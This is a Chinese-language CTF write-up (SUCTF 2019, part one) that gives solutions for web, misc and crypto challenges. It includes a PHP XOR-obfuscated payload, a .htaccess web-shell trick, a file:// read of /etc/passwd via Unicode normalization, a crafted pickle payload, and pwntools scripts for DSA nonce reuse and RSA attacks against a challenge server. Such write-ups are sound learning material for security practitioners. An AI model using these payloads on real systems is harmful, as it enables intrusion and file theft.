前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SUCTF-WriteUp(上)

SUCTF-WriteUp(上)

作者头像
ChaMd5安全团队
发布2019-08-23 20:18:56
1.4K0
发布2019-08-23 20:18:56
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

Web

CheckIn

解题思路

.user.ini & script php

SUCTF{U5er_1n1_01d_TR1ck}


EasyPHP 解题思路

https://gist.github.com/ed22c1ad2dc22c56f266a92635a9591c#file-str_or_str-php

代码语言:javascript
复制
http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo

然后就能调用 get_the_flag 函数了,利用htaccess 加个新的后缀来 getshell,参考: https://xz.aliyun.com/t/3937

.htaccess 内容

代码语言:javascript
复制
\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .vk
php_value auto_append_file "php://filter/convert.base64-decode/resource=v.vk"

拿到 shell 发现有 open_basedir 和 disable_function 限制,限制了命令执行,利用 LD_PRELOAD 来进行绕过:


Pythonginx 解题思路

利用数学符号绕过

代码语言:javascript
复制
㏄

file://suctf.%E3%8F%84/etc/passwd

任意文件读取:

读 nginx 配置:

读 flag:

SUCTF{67cc389fc00bd1e9db2956f3e46f74ad}


iCloudMusic

解题思路

下载程序之后,进入 Resources 目录,解包 app.asar

代码语言:javascript
复制
$ asar e app.asar app/

然后就得到了整个程序的源代码了

app/src/list.html 可以看到分享给管理员的逻辑:

测试发现musicinfo的 header 部分存在js 注入

main 的 nodeintegration是开的,尝试直接 require process 来 rce,发现不行,猜测list 没开。

参考国外 ppt,发现可以通过接触 process 来绕过 。

剩下的就是

  1. 找到传入process 以 self 为参数等的函数劫持
  2. 触发函数

直接尝试覆盖所有的 Function.prototype,然后尝试 pr.js 的几个全局变量,发现 request 发送请求时会触发。


Easy_sql 解题思路

MISC

guess_game

解题思路

考python的pickle模块的。 正常猜数字想要拿到flag,确实有点难。。。 我们发往服务端的数据是pickle dump出来的。如果服务端load的过程中,能改写服务端的随机数字就什么都解决了。 看看服务端所说是限制的load操作。 class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # Only allow safe classes if "guess_game" == module[0:10] and "__" not in name: return getattr(sys.modules[module], name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) 如果要构造对象,只能是guess_game模块下的。而且目标名不能包含“__”,执行命令可能不好办,所以才有了上面想改随机数的想法。 服务端还有一个校验 assert type(ticket) == Ticket 反序列化后的类型也限死了。 考虑再三,思路如下: 通过全局对象game,更改game.curr_ticket,然后再将其pop出栈,再构造一个具有相同number数据的Ticket对象。 最终构造如下: \x80\x03cguess_game\ngame\n}X\x0b\x00\x00\x00curr_ticketcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sbsb0cguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sb.

Crypt

DSA 解题思路

代码语言:javascript
复制
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
# context.log_level="debug"
from hashlib import *
from Crypto.Util.number import *
from gmpy2 import *

def hash(msg):
    return int(md5(msg).hexdigest(), 16)

def solve_for(params, set1, set2):
    p, q, g = params
    msg1, r1, s1 = set1
    msg2, r2, s2 = set2
    c1, c2 = msg1, msg2
    for k1 in range(1, 1024):
        # print k1
        for k2 in range(1, 1024):
            priv = (c2*k1*s1 - c1*k2*s2) * invert(r1*k2*s2 - r2*k1*s1, q) % q
            if pubkey == pow(g, priv, p):
                # print priv
                return priv

if len(sys.argv)==1:
    conn=process(pwn_file)
    pid=conn.pid
else:
    conn=remote("47.111.59.243",8001)
    def brute_force(c,s):
        return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)

    conn.recvuntil('something for me?')
    conn.sendline('')
    conn.recvuntil("p:")
    p=int(conn.recvline().strip())
    conn.recvuntil("q:")
    q=int(conn.recvline().strip())
    conn.recvuntil("g:")
    g=int(conn.recvline().strip())
    conn.recvuntil("y:")
    y=int(conn.recvline().strip())
    conn.recvuntil('let me show you some before:')
    conn.sendline('')
    rs=[]
    for i in range(12):
        conn.recvuntil('Its MD5 digest:')
        msg=int(conn.recvline().strip())
        r,s=eval(conn.recvline().strip())
        rs.append((msg,r,s))
    conn.recvuntil('Its MD5 digest is:')
    mmm=int(conn.recv(128,timeout=1).strip())
    params=(p,q,g)
    pubkey=y
    privkey=1
    set1=()
    set2=()
    for i in range(len(rs)):
        for j in range(len(rs)):
            if i!=j:
                if rs[i][1]==rs[j][1]:
                    set1=rs[i]
                    set2=rs[j]
    privkey=solve_for(params, set1, set2)
    k=17
    r=pow(g,k,p)%q
    s=invert(k, q) * ( mmm + privkey * r) % q
    conn.sendline(str(r)+", "+str(int(s)))   
    conn.interactive()
代码语言:javascript
复制

MT

解题思路

代码语言:javascript
复制
def rec(m):
    m=m ^ m >> 19
    t=bin(m)[2:]
    t_r15=t[-15:]
    t2=int(t_r15+'0'*17,2)& 2245263360
    m=m^t2
    t=bin(m)[2:]
    t_r9=t[-9:]
    r18_9=int(t_r9+'0'*9,2)&2029229568
    t_r18_9=bin(m^r18_9)[2:][-18:-9]
    r27_18=int(t_r18_9+'0'*18,2)&2029229568
    t_r27_18=bin(m^r27_18)[2:][-27:-18]
    t3=int('0'*5+t_r27_18+t_r18_9+t_r9,2)<<9 & 2029229568
    m=m^t3
    t=bin(m)[2:].zfill(32)
    q=bin(m ^ m >> 13)[2:].zfill(32)
    m1=int(t[:13]+q[13:26]+"0"*6,2)
    r6=bin(m ^ m1 >> 13)[2:].zfill(32)[-6:]
    m=int(t[:13]+q[13:26]+r6,2)
    return m

q=[0x641460a9,0xe3953b1a,0xaa21f3a2]
flag="flag{"
for i in q:
    flag=flag+hex(rec(i))[2:]
flag+="}"
print(flag)

Prime

解题思路

代码语言:javascript
复制
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
# context.log_level="debug"
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
from gmpy2 import *

conn=remote("47.111.59.243",8003)
def brute_force(c,s):
    return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)

conn.recvuntil('string that')
data=conn.recvline()   
s=parse(" md5(str + {})[0:5] == {}\n",data)
conn.sendline(brute_force(s[0],s[1]))
conn.recvuntil('>')
c=[]
n=[]
for i in range(4):
    conn.recvuntil('cs[{0}] ='.format(i))
    c.append(int(conn.recvline().strip().replace('0x','').replace('L',''),16))
    conn.recvuntil('ns[{0}] ='.format(i))
    n.append(int(conn.recvline().strip().replace('0x','').replace('L',''),16))
for i in range(4):
    p=[]
    for j in range(4):
        if i!=j:
            p.append(gcd(n[i],n[j]))
    p.append(n[i]/(p[0]*p[1]*p[2]))
    phi=1
    for j in range(4):
        phi=phi*(p[j]-1)
    a=(n[i]%phi)
    b=phi
    d=invert(a,b)
    m=pow(c[i],d,n[i])
    conn.sendline(hex(m).replace('L',''))
conn.interactive()
代码语言:javascript
复制

RSA

解题思路

代码语言:javascript
复制
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
# context.log_level="debug"
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
from gmpy2 import *
import decimal
conn=remote("47.111.59.243",9421)

def oracle(c1):
    conn.recvuntil('Quit.')
    conn.sendline('D')
    conn.recvuntil('message:')
    conn.sendline(str(c1))
    res = conn.recvline().strip()
    if 'even' in res : 
        return 0
    if 'odd' in res:
        return 1
    else:
        assert (0)

def partial(c, n):
    global c_of_2
    k = n.bit_length()
    decimal.getcontext().prec = k  
    lower = decimal.Decimal(0)
    upper = decimal.Decimal(n)
    for i in range(k):
        possible_plaintext = (lower + upper) / 2
        flag = oracle(c)
        if not flag:
            upper = possible_plaintext  
        else:
            lower = possible_plaintext  
        c = (c * c_of_2) % n  
        print i, flag, int(upper - lower)
    return int(upper)

if __name__ == '__main__':
    def brute_force(c,s):
        return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)
    conn.recvuntil('string that')
    data=conn.recvline() 
    s=parse(" md5(str + {})[0:5] == {}\n",data)
    conn.sendline(brute_force(s[0],s[1]))

    conn.recvuntil('flag!\n')
    for i in range(1,4):
        conn.recvuntil('Round {0}\n'.format(i))
        conn.recvuntil('n =')
        n=int(conn.recvline().strip())
        conn.recvuntil('e =')
        e=int(conn.recvline().strip())
        conn.recvuntil('c =')
        c=int(conn.recvline().strip())      
        print(n,e,c)   
        c_of_2 = pow(2, e, n)
        m = partial((c * c_of_2) % n, n)
        conn.sendline('G')
        conn.sendline(str(m))
    conn.interactive()

PWN和Reverse部分请看SUCTF-WriteUP(下)!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
  • 解题思路
  • EasyPHP 解题思路
  • Pythonginx 解题思路
  • iCloudMusic
  • Easy_sql 解题思路
  • MISC
  • 解题思路
  • 考python的pickle模块的。 正常猜数字想要拿到flag,确实有点难。。。 我们发往服务端的数据是pickle dump出来的。如果服务端load的过程中,能改写服务端的随机数字就什么都解决了。 看看服务端所说是限制的load操作。 class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # Only allow safe classes if "guess_game" == module[0:10] and "__" not in name: return getattr(sys.modules[module], name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) 如果要构造对象,只能是guess_game模块下的。而且目标名不能包含“__”,执行命令可能不好办,所以才有了上面想改随机数的想法。 服务端还有一个校验 assert type(ticket) == Ticket 反序列化后的类型也限死了。 考虑再三,思路如下: 通过全局对象game,更改game.curr_ticket,然后再将其pop出栈,再构造一个具有相同number数据的Ticket对象。 最终构造如下: \x80\x03cguess_game\ngame\n}X\x0b\x00\x00\x00curr_ticketcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sbsb0cguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sb.
  • Crypt
  • DSA 解题思路
  • MT
  • Prime
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档